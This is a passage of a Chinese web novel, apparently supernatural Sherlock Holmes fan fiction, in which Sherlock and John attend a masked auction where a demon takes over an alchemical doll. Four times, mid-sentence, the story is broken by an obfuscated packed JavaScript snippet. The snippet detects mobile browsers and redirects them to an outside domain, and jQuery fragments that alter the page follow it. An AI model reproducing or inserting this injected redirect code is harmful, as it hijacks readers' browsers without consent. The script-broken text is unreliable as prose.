“您置放于门口桌面上的请函告诉了我。”歇洛克说道。 他扬起自己的礼帽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980702|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “总之谢谢您的招待，夫人。” 三人暂时离开加西亚魔药店。 雷斯垂德又一次回头看了眼那点着烛光的药剂店。 “为什么不进去搜查看看？说不定有什么重大线索。” 歇洛克说道：“如果魔鬼停留在那里，残留的神秘信息不可能如此浅薄。” “有联通魔鬼力量的仪阵或者仪具，也多半在韦托·加西亚的身上。” “破坏封锁这间药剂店，对阻止怪癔的继续传播没有半点作用，反而容易打草惊蛇。” 约翰想起歇洛克之前给他的那小半瓶万灵药。 “你做过反向追踪实验了？” 所以今天非常果断地来找韦托·加西亚本人。 歇洛克点头。 “另外我去了西区感染怪癔人数最多的地方。” 约翰回头看他，“歇洛克！我猜你可能都没有带上防护衣！请不要忘记上次你是怎么受伤的！” 他语气里的责备非常明显突出。 歇洛克说道：“放心我不可能被感染……当然，回头我会体检的。” 侦探继续说道： “这次冒险并非徒劳无功。” “在侦查过那片区域后，我发现感染怪癔的人里，绝大部分都是走投无路的贫困者。” “还记得西区教堂之前会分发面包吗？自打不再继续后，很多几乎要饿死街头的人先感染了怪癔。” “随后这个情况逐渐蔓延到更加富裕的东区。” “调查那些患病者的家庭背景，你会发现他们近期都有受到过重大打击。” “或是事业、或是家庭，某件事让他们一度陷入绝望。” 有的人可能因为失去面包绝望，有的人可能因为失去如山的财富绝望。 约翰回忆起之前抢救的史密斯先生，他深爱的妻子也恰好是一周前不幸病故去世。 他瞳孔紧缩，“难道……是因为他们先陷入了绝望，所以才染病，陷入更绝望的深渊……？” 歇洛克说道：“这样的力量，不是普通的恶魔能做到的。” “韦托·加西亚必定有什么手段可以获取某个魔鬼大部分的力量，才能神不知鬼不觉地传播这样的怪癔。” “对于绝大部分魔鬼而言，绝望的灵魂是美味的存在。” “所以，在人类的人生里落井下石和雪上添霜，才是祂们最喜欢做的。” 雷斯垂德咬紧牙关。 “那群混蛋……” 侦探拿出了自己的烟斗，点燃它。 “警探。” “在这里愤懑之前，不如替我们找来两张黑街拍卖会的请函。” 烟草燃烧的气息挤开月光花、群星草的冷香。 “你要去拍卖会上找人？”雷斯垂德皱着眉，语气为难，“拍卖会是汉格尔家族举办的，想从他们家手上拿到请函进去闹事，估计没有那么容易。” “那如果我们手上，有汉格尔家族无法拒绝的藏品呢？” 歇洛克说道。 “你只需要帮我们牵线搭桥就足够。” “我们……” 约翰将公寓里有的东西回忆了一圈，也不觉得有什么可以称得上是藏品，总不能把壁炉旁的人体骨架给搬过去。 “歇洛克，你是有收藏什么珍贵的超凡物件吗？” “我？我当然没有。” “就算有，也不太适合拿到这里。” 歇洛克否认得很果断，但给出的解决方法也很出乎意料。 “我们没有，但不代表不能够找哈德森太太借用一下她的。” 42.42 “欢迎两位先生今日的光临。” 站在拍卖会场门边，带着华丽半遮面具的侍者恭敬地为两位来宾拉开大门。 “这是两位的号码牌。” “两位先生如果在会场内有看中的拍卖品，可以直接举牌喊价，费用会从您寄卖的那件古董镜中优先扣除，当然，多余的钱则返还给您。” 带着漆黑面具的高个男士拿走了侍者手中的13号号码牌，旁边带着白色面具的矮个男士则拿走剩下的12号号码牌。 侍者露出亲和的微笑。 “请您按号入座，如有所需，可以直接吩咐我们。” 他的姿态放得很低，叫人完全看不出来一名实力不弱的使者，但他要求所有进场宾客必须交出具有攻击性仪具时的态度非常坚决。 戴着白色面具的来宾，凑近了和自己一同前来的朋友。 “歇洛克，你说……” 黑色面具的高个男人低声说道：“不用担心，给他吧。” 左轮手/枪和弹夹都放在了托盘上被收走。 侍者恭敬地弯腰。 “等拍卖会结束，我们会原物奉还。” 不过侍者绝对想不到的是，他刚将左轮和子弹收入会场门外专门的柜橱中后，看似两手空空入内的那位高个宾客就已经悄无声息地将刚刚被收走的武器重新取回。 约翰飞速从同伴那里接过自己的左轮与子弹，将它们重新藏在自己的外套之下。 “歇洛克，我有时真觉得你一定是个魔术师。” “有不少魔术师不过都是高级的小偷或者骗子。” “那还有一部分呢？” 歇洛克轻笑一声，“如你所见，是拥有超凡能力的使者或者恶魔。” 会场内戴着面具或斗篷的人不在少数，两人找到自己的位置落座时，歇洛克已经从身形装扮和动作习惯上认出了不少人。 “威斯敏斯特，德文，阿盖尔……今天来这场拍卖会的上流贵族不少。” “当然，估计还有不少是其他贵族世家派来的专业买手。” “哦？还有福音教会大主教之一的本笃，他是四阶使者，实力不弱。” 类似雷斯垂德那样的白骑士团某一小队的队长已经具备三阶的实力，四阶则逐渐深入接触神秘力量来源的核心，可以称得上是半个神话级别的人物。 等到五阶，在福音教会的口中就是“圣人”，如百年前就被尊敬的艾琳·艾德勒那样。 至于六阶，连很多了解接触神秘知识的使者和恶魔都觉得那已经是非人的境界，或许人们口口相传的天使与魔鬼就归属于此。 趁着四周嘈杂的讨论声未歇，约翰的目光跟随着好友有理有据的推理逐一扫过那些人的背影。 侦探的目光锐利，分析更是一针见血，有时仅凭几个动作就能认出对方藏在面具和斗篷下的真实身份。 “天哪，今天来的这么多人，难不成都是为了……” 约翰看向自己手中的小册，上面简略介绍了今日即将拍卖的藏品。 在各式外表平平无奇，使用效果千奇百怪，需要付出的代价也很是匪夷所思的拍卖品中，有一个显得格外特殊。 那是一个仿制人类少女形象，制作出来的精巧人偶。 看服饰和造型，都是非常古老的造物，但少女人偶除了身体关节以外，几乎看不出和普通人类的区别。 “刚才举例的那些人、势力，以及特意来参加今天拍卖会的韦托·加西亚的目标，应该都是它。” 歇洛克的手点在这名被当做压轴拍卖品的“十号商品”上。 约翰看着那几行商品介绍的文字。 十号拍卖品是一只极为精巧的人造人偶。 它能够容纳其他生物的灵魂，所以不管是用于当做备用的身体求生，还是让自己重要却濒死的人先寄宿于此的功能，都非常珍贵和实用。 “这样人偶除了当作超凡能力者逃生的备用身体外，其实还是非常适合的容器。” “容器……”约翰想了想，“你是说，它就像艾琳·艾德勒是借用蕾贝丽雅·肖特的身体降临一样吗？” “非常类似。” “不过这个人偶更加方便。” “实力达到五阶及以上的超凡存在，想要干预或来到现实维度，必须借助某些中介。” “犹如恶魔从魔鬼那里汲取力量的时候，某种意义上就成了魔鬼触及到现实维度的分支。” 歇洛克解释道： “但间接干预的力量，和直接作用的力量强度完全是两个概念。” “当然，前提是容器足够合适。” “否则就像承受不了高强水压的容器，随时可能破裂损坏。” 他的指尖敲了敲册子。 “这其中，容器的契合度非常关键。” “人偶的使用寿命更短，但胜在更容易被常人接受，且契合种类更加多样。” “没想到支持拍卖会背后的汉格尔家族，会愿意将这样珍贵的物品拿出来拍卖，而不是自己直接私底秘密买下。” 约翰想了想，低声问出自己一直感觉很好奇的一个点。 “魔鬼或者天使选择容器时的契合度，到底是怎么判断的？” 歇洛克的视线移到他的脸上。 虽然约翰的半张脸都被面具给覆盖，但眼里的好奇是半点都没有减少。 “所谓的契合度是，能否被人类的认知所接受。” “无法想象的存在是不恐怖的。” 侦探丝毫没有想隐藏的意思。 “越是强大的存在，越需要一个合适的载体。” “如果无法与人类世界观中的某物契合到一定程度，现实维度会天然排斥这种达到其他维度的强大力量。” “有趣的是，一旦遵守了这条铁律，就必定意味着削弱本身的实力，才能来到这里。” “可魔鬼一旦真正借助容器来到人类所处的现实维度，哪怕是不完全的力量，也相当恐怖，只不过这个极限在哪里又是人类自身规定的。” 这样的坦率，反而令约翰瞪大眼睛。 “但那些超凡生物或者使者、恶魔之类的，不都是很强吗？他们来到现实世界，反而需要遵守这种规律？” “不仅是‘规律’，更是‘铁律’。” 歇洛克强调了部分单词。 “这可谓奇迹的结晶之一，也是人类生存的基石之一。” “想要打破这种铁律，只能由另一个奇迹来创造机会，否则全员都需要遵守。” 他背靠在椅背上，说起这种被很多神秘学派视若珍宝的知识时，语气轻松地像是在告诉好友，今天路边的苹果滞销降价，可以多带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986550|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个回去一样。 约翰联想到之前好友从万灵药里分析推理到的线索。 他全身紧绷起来。 “所以，现在你怀疑韦托·加西亚制作的万灵药具有别样的奇效，是因为他与魔鬼做了交易，而交易的代价，可能就是为其准备好一件容器？” “毕竟今日的拍卖品中没有和药物材料有关的东西，上几轮的拍卖会里明明有更好的物品，加西亚却没有参加，加上这里……” 歇洛克的手指划过他们所在的前二十位靠前的位置。 “只有缴纳大量金额才能入内的场位，才具有上台近距离观察拍卖品的机会。” 此时，韦托·加西亚的身形已经进入了他们的视野范围。 即便他也戴着面具和斗篷，但根据侦探的提示，想要认出他也并非难事。 他果然来了！ 歇洛克的视线跟着他的动作扫视一圈，然后低声与约翰说道： “送他来的是汉格尔家族的三子，加西亚和这拍卖会幕后的举办者有联系。” 约翰仔细看过去，“歇洛克！我还看见加西亚递给那个年轻人什么东西……一个瓶子？” “估计是万灵药。”歇洛克推测，“一场交易，一场在拍卖会开始前就达成的交易。” “他们交易了什么？” “加西亚给了东西，汉格尔只是点头、拍肩、说话，说明加西亚应该是用实物换来一个承诺，但相隔太远，不太听得清，应该说的是……‘关于十号拍卖品在送上展台时需要注意位置’。” 约翰回头看去，“等等，你不是说没有听清吗？这儿能用什么超凡能力？” “不能，入场就已经屏蔽了能力，果然是财大气粗的汉格尔家族，这里的地下应该是绘制了大型仪阵。” “那为什么……” “因为我会唇语。” 等到来客全部落座，这间装饰华丽的房间中灯光逐渐黯淡，最后所有的光亮都集中在高台上时，嘈杂的交谈声消失。 负责主持拍卖会的人员同样戴着假面，以看不清容貌的姿态走到舞台的聚光灯下。 “各位！欢迎光临今天的拍卖会！” 铁链铿锵作响的声音从头顶上方传来，随后在主持人有条不紊地介绍中垂落下，那装着不同拍卖品的铁笼。 “他们将拍卖品……关进笼子里？” 约翰有些疑惑。 “铁笼是特殊的仪具，应该是用于短暂屏蔽用于拍卖的超凡物品带来的各种副作用的。” 歇洛克微微颔首。 这回他没有压低音量。 “看栏杆。” 即便笼子里置放的是，看上去普通无奇的东西，但坚固的栏杆也像是一直被什么无形的东西腐蚀着。 仅过五分钟不到的时间，原本光洁的栏杆上就爬满了小半的铁锈，也许不到三十分钟，这个铁笼就会彻底被腐蚀得摇摇欲坠。 “这位先生对神秘知识的了解颇深。” 前面有人转过头来看他们，赫然是刚才他们低声提到的本笃大主教。 “不知可是在哪座学院任教？” 他今日的打扮很是简朴，带着兜帽，但花白的胡子，和嘴角的微笑，让他看起来完全不像一位位高权重的大主教，反而像是会抱着猫，在阳光下笑呵呵看书的和蔼邻居爷爷。 43.43 “失礼，不过是略懂一些知识。” 歇洛克说道： “似乎快要到压轴的几件拍卖品了。” 台上主持人的语调也越发昂扬。 今天拍卖的节奏非常快，几乎不到半个小时的时间，前七件拍卖就已经结束。 但拿着前二十号码牌的宾客们期间都没有举牌。 直到第七件拍卖品的铁笼降下为止，才开始有人上台仔细查看，再考虑是否要喊价参与拍卖。 戴着黑色面具的侦探没有过多关注灯下的拍卖品。 他的注意更多集中在那些宾客的身上。 二十个贵宾席里的宾客，有接近一半的人在喊价。 侦探的视线悄无声息之间扫视场内一圈。 此刻主持人已经降下第九只铁笼。 “这件拍卖品是一件神奇的古镜。” 约翰有些不放心地凑到歇洛克的旁边，用很低的声音问道： “说起来，我们当时是借的哈德森太太的，回头别人买走怎么办？” 歇洛克看起来一点也不慌张。 “关于这个问题，哈德森太太也问过我。我承认了当时有考虑不周的地方。” 约翰：“所以？” “所以，我直接和哈德森太太将这件古董买了下来，现在已经不用担心它的所属问题了。” 约翰：早就知道这家伙存款不少，但具有超凡力量的古董藏品也说买就买，似乎又刷新了他自己的金钱观。 台上的介绍已经完毕，实用的功能和不算严重的使用代价，让在场不少宾客心动，但没想到的是，最后拍下它的竟是坐在他们前方，做了伪装的本笃大主教。 等到第十个铁笼带着一只精巧的少女人偶从天而降的时候，拍卖会场内像是短暂陷入了因为突然遭受巨大冲击而沉默的寂静里。 不仅仅是因为这只少女人偶从外表上看，几乎与人类别无二致，更是因为即便有些特殊铁笼的隔离，所有人看见它的时候，还是感觉到了莫名的心悸。 仿佛置于笼中的是无底的黑洞，一旦铁锈爬满坚固的栏杆，它就会将所有注视着自己的人的灵魂全部抽走，以填补人偶内部空虚的黑暗。 “各位！” “这是今晚拍卖会的压轴之物——【炼金人偶】！” 主持人用抑扬顿挫的声音喊道。 “它的具体功能就是接受转移的灵魂，作为一个备用的人造躯壳以供驱使。” “但它同样也需要付出代价。” “想要使用【炼金人偶】，前提是必须确定自己本身的躯壳的确无法继续承载灵魂。” “否则人偶会用超凡的力量，对身处附近的持有者造成极为严重的伤害。” “另外就是——” “无法继续承载灵魂？” 约翰重复了这句对他而言，有些陌生的形容。 歇洛克刚想开口，坐在前方的本笃先回过头来，微笑着解释。 “也就是身体受了重伤的时候。” “我们……或者应当说，人类的身体是有承载极限的，犹如一只花瓶，里面盛放着代表灵魂的清水。” “除了恶魔与魔鬼会将水取走外，花瓶本身的严重破损，也会导致水的流失。” 也就是说，【炼金人偶】的确是难得一见的，可以容纳灵魂的合适容器，但人类如果不是濒临死亡之际就使用它，反而会被它伤害到足以致死的程度。 约翰有些惊讶地看向前方戴着斗篷兜帽的老者。 “那个……谢谢您的解释。” 对方说道：“我很高兴能为一位好心的先生答疑解惑。” 他一点也没有位高权重者身上常有的傲慢与卖弄，反而看起来谦逊又和善。 歇洛克挑了挑眉，探究的目光从本笃的脸上移开，接着转向前方同样做了伪装的韦托所在的位置。 “来了。” 台上的主持人正激情昂扬地介绍最后的压轴拍卖品。 “当然，为了能让各位直观感受这件拍卖品的魅力，我们特意准备了一位重病垂危的普通人。” 一位看上去已经奄奄一息的病人被放置在担架里抬上舞台。 约翰忽地坐直身体。 这个人的情况他实在是太熟悉了。 正是感染怪癔，且病程到了后期的情况。 这时候的病人全身器官以不可思议的速度快速衰竭，就像是一颗本当茁长成长的植物，在极短的时间里被某种神秘的力量抽走了赖以生存的生命力。 但这个病人的眼里满是对想要生存下去的渴望。 他努力朝着铁笼的方向伸出手。 随后有星星点点的微光从他体内析出，最后融入铁笼中的【炼金人偶】里。 人偶发出咔嚓咔嚓的声响，然后笨拙地摆动起自己的四肢。 很快它空洞的脸上出现了非常人性化的表情，像是震惊又庆幸自己竟然真的以另一种方式活了下来。 人偶的手敲打在逐渐布满铁锈的铁笼栏杆上，但这样的动作重复一两次后就突兀地停了下来。 在行动不过一分钟的时间后，人偶就像彻底失去了动力。 那双刚有了灵动神采的双眼重新变得空洞起来。 在场的宾客里大半都是使者，或天生拥有超凡力量的人，自然能察觉到原本进入人偶的灵魂变得越来稀薄，直至被人偶内部原本存在的虚无空洞吞噬得一干二净。 现场响起无数吵闹的讨论声。 坐在前排，拿着前二十位号码牌贵客中的一位买手先皱起了眉。 “进入【炼金人偶】必须还要抵抗它本身的力量？” 主持人保持着礼貌的微笑。 “当然了这位女士。” “想要获得什么，就必须付出些什么。” “您知道的，神秘力量不是每个人都能承受的，进入【炼金人偶】的灵魂必须拥有时刻抗衡深渊-3的力量，才能稳定地驱使这具躯壳。” “我能近距离看看吗？”这位买手谨慎地提问。 这样拍卖品的效果令人心动，但它的副作用也大得惊人。 既然为雇主工作，这位买手不得不谨慎。 “当然。”主持人让出位置。 坐在台下的很多人也纷纷起身，按照顺序轮流上去，近距离观察十号拍卖品【炼金人偶】。 约翰在歇洛克之后，也来到聚光灯下的铁笼前仔细观察了一下那只不再动弹的【炼金人偶】。 按理说应当没有什么奇怪的……但他偏偏嗅到了一种恶臭。 腐烂的，像是能引来苍蝇、蛆虫之类的腐肉气味。 可一只由黄铜等金属打造的人偶，怎么会像一具长久没有得到安葬的尸体一样散发出那样的腐烂气息？ 约翰回头看了眼好友，对方不着痕迹地给他使了个眼色。 于是医生暂时压下心中的不安与疑惑，回到自己的位置上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017057|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 台上的主持人等所有想要近距离查看的宾客看过后，扬起手中的小锤重重落下，接着用激昂的语调喊道： “接下来是拍卖环节！起价三万英镑！” 全场哗然。 这是今天这场拍卖会起价最高的拍卖品，没有之一。 即便它的副作用不小，但只要安全将其隔离，让它不与没有受伤的持有者直接接触，应该就不会发生什么危险。 更何况一旦到了生死攸关的紧要时刻，哪怕是要直面深渊与恐怖，但大部分人往往是只要还有一丝能够活下去的机会，就会不择手段前去争取。 总体而言，十号拍卖品【炼金人偶】的益处还是大于弊端的。 这让没有坐在贵宾席的来客也开始举牌加价。 短短几分钟的时间，三万的起价已经被加码到五万。 坐在这里的所有人手边都没有放着现金，但一声高过一声的喊价，像是从头顶不断掉下的金钱雨，把没有权贵相护的人砸得生疼。 所有人都像红了眼一样互相咬住对方价格的尾巴。 有些人甚至一把推开自己怀里的女伴，像是发怒的饿狼对着坐在旁边的人吼道： “每次只加价一千，你是故意的？！” 另外一人语气更是毫不客气。 “那你可以选择不加价，蠢货！” 现场火药味渐浓，但坐在前两排的贵宾席还称得上是风平浪静。 之前第一个提问是否能近距离查看的职业买手举起牌子喊价。 “十万。” 骤然拔高的价格让绝大部分普通席位的喊价声瞬间偃旗息鼓。 约翰心中一突。 刚才他们卖出的古董镜最终成交价也不过十万出头。 歇洛克举牌，语气听起来不咸不淡。 “二十万。” 他的目光始终落在前方没有任何动作的韦托身上。 对方从刚才起，视线就一直放在那只人偶的身上，从始至终都没有其他任何的特殊反应，连近距离上台查看的动作也没有。 带着面具的本笃大主教也笑呵呵地看着前方。 “珍贵的东西应当有配得上它的价格。” “我出价二十一万。” 歇洛克继续跟道：“二十二万。” “二十三万。” “二十四万。” 听到他们你追我赶的喊价，满场都是震惊的讨论。 但身为话题中心的两人毫不在意四周或是震惊、或是羡慕、或是嫉妒的声音，他们的目光都不约而同地都落在韦托不动声色的背影上。 这是他们对韦托的试探。 本笃喊价到二十五万英镑的时候，歇洛克停了下来。 台上的主持人四处看看，像是确认无人继续追加后，举起手中的小木锤。 “那么，十号拍卖品【炼金人偶】由——” “差不多了。”韦托喃喃说道。 吱呀—— 一声不起眼但突兀的声响从头顶发出，然后在主持人手中木锤落下的那刻，会场头顶用于聚光的重型吊灯如同一块巨石猛地砸落。 现场当即陷入伸手不见五指的黑暗中。 哐当一声巨响后，隐隐有血腥味从舞台的方向传来。 紧接着有铁笼落地的声音。 静默两秒后，尖叫声响起。 “人偶……！那个人偶肯定被放出来了！快跑！” 44.44 突如其来的黑暗让整个会场陷入了混乱与惊慌，刺耳的尖叫声不绝于耳。 “安保人员呢？！” “你们知道我是谁吗！我要是受伤，你们绝对都要去审判所！” 除了具备超凡能力的使者外，这里明显也不乏一些出身于权贵世家的普通人。 黑暗之中，歇洛克的声音从约翰的左手边传来。 “约翰，拿好你的左轮。” “我该如何帮你，歇洛克？！” 约翰喊道。 即便周遭混乱嘈杂，但侦探的声音依旧清晰明朗。 “再等等，约翰，现在还不是你出场的时候，王牌需要压轴到最后。” “等到周遭亮起来，也是真相大白的时候，以你的判断，自然能明白枪/口应当指向何处。” 惊恐与血腥渐渐弥漫在这片黑暗之中。 门外的安保像是成了摆设，屋里的骚/乱仿佛被蒙上一层隔音罩，根本无法引起外部人员的注意。 用于照明，但熄灭的煤油吊灯不断垮塌掉落，轻易就能将几条原本鲜活的生命埋葬。 似乎正是因为这样，困于黑暗中的众人才没有第一时间就发现倒在血泊中的死者有什么异样。 这间屋子特殊的构造大大削弱了超凡力量的发挥。 直到十分钟后，有人终于勉强用仪阵点亮几束光芒的时候，才发现四周的活人已经越发稀少。 服饰华丽的贵宾仓惶地跑到进出口处，不断地用力拍打着大门。 “开门！开门！外面的人耳朵都聋了吗！” 在求生的混乱中，他脸上的面具早就不知道被丢到哪里。 现在他也顾不上失礼的姿态，也完全没有曾经嚣张跋扈、趾高气昂的模样，简直像条落水狗一样狼狈地跪在门前，希望外面的人能将锁死的大门打开。 但想要的希望还未降临，他的女伴先惊恐地喊道： “大人！后面！” 一根白色的丝线缠住了他的脚踝，当即他身上携带的防御性仪具开始生效，在他的脚踝上覆盖住一层细密紧凑的半透明鳞片。 但这根丝线明显具有毒素，哪怕是仪具也在剧毒的腐蚀下发出令人毛骨悚然的呲啦声。 预计不到几秒后，仪具就会被彻底损毁。 但那根丝线不是唯一一根。 在他背后还有无数根从半空垂落的白色丝线，仿佛饥饿的捕食者在感受着猎物的方位。 他惊恐地直面这一幕，在看到想要躲在自己身后的女伴时，毫不犹豫地将其推了出去。 探寻到方位更接近猎物的丝线立马将其缠绕。 具有强腐蚀性的丝线在接触皮肤的时候，不亚于一次非人道的酷刑折磨。 女伴原本娇艳的面容在凄厉的惨叫声中，立马变成森森的白骨。 红痕化作蝴蝶的印记逐渐爬满她的全身，她的惨叫却在不知不觉的某个瞬间变成了没有理智的愉悦狂笑。 “不疼了……不疼了……！幸福——我是幸福的——！” 明明已经被脱了层皮，但她的脸上丝毫没有疼痛和恐惧。 她唇角的肌肉勾起，扬起一个快乐的弧度，像是被蛊惑般一头主动扎进了白色丝线的“拥抱”之中。 阿盖尔家的纨绔少爷被吓得浑身发抖，感觉人间炼狱也不过此时眼前的景象。 他手脚并用地挣脱消化着女伴的丝线，然后疯狂地往舞台的方向奔去。 主持人估计已经被砸死了吧……但是那只【炼金人偶】肯定还在旁边，如果找到它的话，他一定能活下去…… 吗？ “你是在找我吗？” 一道分不清性别，但很是磁性的声音从头顶传来。 如果只是闭目倾听，真是听觉上的享受。 可一旦仰头看去—— 逐渐有了人类模样的人偶灵动地移动自己右眼眶里的眼珠，但因为左眼还是那古典人偶死寂的模样，于是显得更是诡异恐怖。 它……正在逐渐被祂填满，于是从一个普通的超凡物品变成了另一种难以用常理理解，但足以想象是具有巨大杀伤力的存在。 白色的丝线层层叠叠地将这片空间由外向里包裹，直至从维度层面上把它剥离出去，拉入黑暗的深渊。 所以门外自然没有回应。 如果现在有好奇心本不该发作的侍者拉开拍卖会场的大门，估计也只会惊讶地在门后看到一片空空如也的废墟。 阿盖尔家族不是那种对超凡力量一无所知的暴发户们。 即便已经日益衰落，但家族传承也提及了维度、深渊的相关知识。 这足以让他明白一个绝望的事实。 眼前的存在不是普通的恶魔，而是力量远远凌驾于他们之上的无情魔鬼。 有人趁着黑暗，在这里让乐于收割灵魂的魔鬼降临。 即便有无数人口中高喊自己已然不信有纯真的天使降临人间，他们信奉着恶魔，愿意将一切献上，只求换取一个完成夙愿的机会。 然而，实际上是，除了那些真正的狂信徒外，没有一个人真的想变成被收割的可怜稻麦之一。 “不、不——我没有找你——我没有——” 阿盖尔满脸涕泪横流，他惊恐地滚下舞台，想要远离这惊悚恐怖的人偶。 人偶似笑非笑地看着他。 未能完全降临于世的存在，姑且还能称之为“它”。 它对他伸出手，脸上僵硬的笑容还没有完全符合人类的审美。 “亲爱的，你看起来真绝望，但何必如此……再抬起头来看看我。” 阿盖尔惊恐万分地想要将头死死低下，但更让他觉得惊恐的是，脖子正像是不受控制一样乖顺地听从着他者的号令，主动抬着他自己的头颅仰起，然后注视着微笑的人偶。 此刻他眼里已经满是眼泪，并悲哀地发现现在自己连一根手指也无法移动。 恐惧渐渐在心里发酵成绝望。 “你感觉怎么样？” 它笑得越发甜蜜，对话的语调仿佛关系亲密的情人。 阿盖尔眼里的绝望和恐惧慢慢褪去。 在与它……与祂对话的那刻，他仿佛步入天堂一样，感觉灵魂受到了净化。 他刚才怎么会觉得这样的存在丑陋恐怖？ 这分明是世界上最美丽的造物才是。 不用强调它是男是女，也不用在意它的年龄，它的外表皮囊。 它的存在就是，美在此的具现化象征。 阿盖尔这次自己抬起头，呆呆看着上空。 身体里所有的情感在这刻都像退潮的海水离去，他像仓皇追逐着浪潮的一撇浮沫，哭喊着要与它们一起回到大海深处犹如子宫一样的怀抱中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023161|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他看见宽大的蝶翼破茧而出，翅膀上华丽灿烂的鳞粉组成灵动的眼眸在看着下方迷茫的人群。 “我很幸福！” 阿盖尔朝着上空虔诚地伸出双手，在并未自我察觉的时候，他自己脸上的狂热不知不觉间已经和他女伴的表情别无二致。 “请让我也前往天堂！” 他不再犹豫，这次主动往那些垂落的白色丝线之处冲了过去。 他身上细密的鳞片在接触密集的丝线后，不过一秒的时间就全部被腐蚀破损。 别于领带上的宝石领夹立马崩裂成粉末。 他全身被丝线割开，但人体用于警示的痛苦感知已经被屏蔽，麻醉剂一样的幸福感让他面露笑容，简直如同那些感染了怪癔的患者一样。 被白色丝线缠绕的人偶神情与动作都变得越发灵动。 意志不够坚定的人类如同朝圣般，步履踉跄地投入死亡的怀抱。 在极致的幸福快乐中，他们的灵魂就会被抽走当做魔鬼的口粮。 韦托站在舞台之上，虫茧之下看着它。 “现在，你是不是该把真正的……连死者灵魂亦能复苏的万灵药方告诉我。” 人偶咯咯笑着。 “亲爱的韦托，你为何如此在意那个方剂的正确配比。” “如果你的执念只是为了复活罗莎，那她不是已经活过来，还陪着你度过了五十多年的时光岁月吗？” 破损的舞台上早就没了聚光灯，但韦托感觉自己现在就处在魔鬼戏谑的注视之下，被迫上演着自己并不喜欢，也不想出演的拙劣舞台喜剧。 多年前他就试图逃出阿斯莫德替他写好的剧本，但或许从他想着要获得超凡力量开始，就已经不自觉地出演着某个既定的角色。 他甚至会不自觉地怀疑过，自己和深爱的妻子相遇，是否也是魔鬼特意的安排。 一切的甜蜜温馨，只是为了铺垫后来的残忍绝望。 人偶另一只空洞的眼睛逐渐变得生动起来。 它惨白的皮肤逐渐变得细腻白皙，布满无数瞳孔的巨大翅膀一点一点挣脱对于它而言，显得粘腻舒适的虫茧温床。 “亲爱的，我当然是愿意告诉你方剂的。” “可我现在仍旧虚弱，我需要更多的灵魂……然后我不仅会告诉你配方，我还会亲手为你炼制一份真正的万灵药。” “你知道的，有时人类会失败的事情，在我身上绝对不会发生。” 人偶像是快要彻底变成少女。 祂轻笑着，声音娇俏不已。 但盯着祂看的韦托也慢慢笑起来。 先是无声地耸动着自己的肩膀，然后他笑的幅度越来越大，最后变成了像是无法抑制自己的狂笑。 “那根本就不是罗莎！”他在笑声和眼泪里朝魔鬼咆哮，“我的人生里根本就没有奇迹发生，不是吗！” 阿斯莫德故作吃惊，“那怎么会不是罗莎呢？她可的的确确是你的妻子，为了实现你的心愿，防止她知道，你的‘医术’其实是超凡能力的产物，我还特意清除了她的记忆。” 少女扭动着身体，翅膀上万千瞳眸同时盯着下方渺小的人类。 祂在灵魂的惨叫声中愉悦地对韦托说道： “你知道我对你有多好，亲爱的。” “还是说，你现在就要与我分道扬镳？” 45.45 纯白如雪的丝线好似织布工纺锤下的瀑布，以极快的速度往韦托的四面八方压去。 魔鬼就是这样不讲道理。 所谓情意、承诺对于祂们而言只是空谈，唯有涉及根本的利益才会趋势祂们做出状似诺言的行动举止。 阿斯莫德清楚地知道自己在餐桌旁竞争者中实力不算上数，想要在这里分餐一隅，祂需要另辟蹊径。 于是祂盯上了餐桌上的“食物”。 只要祂能躲过截杀，来到这个维度，那么就实力阶级而言，祂与其他被削弱的竞争者几乎不相上下。 而弱小的羔羊无力抗衡祂的力量，收割最后奇迹的果实也并非一场空谈之梦。 “奇迹……如果我自己无法创造一个奇迹……” 韦托的眼里出现一丝狠绝。 他像是在和谁对话。 “我同意和你的交易！” “事成之后，我将献上万人的祭品！” “这里的灵魂算是定金！” “成交。” 另一道嘶哑阴郁的声音从掉落在舞台的吊灯下传来。 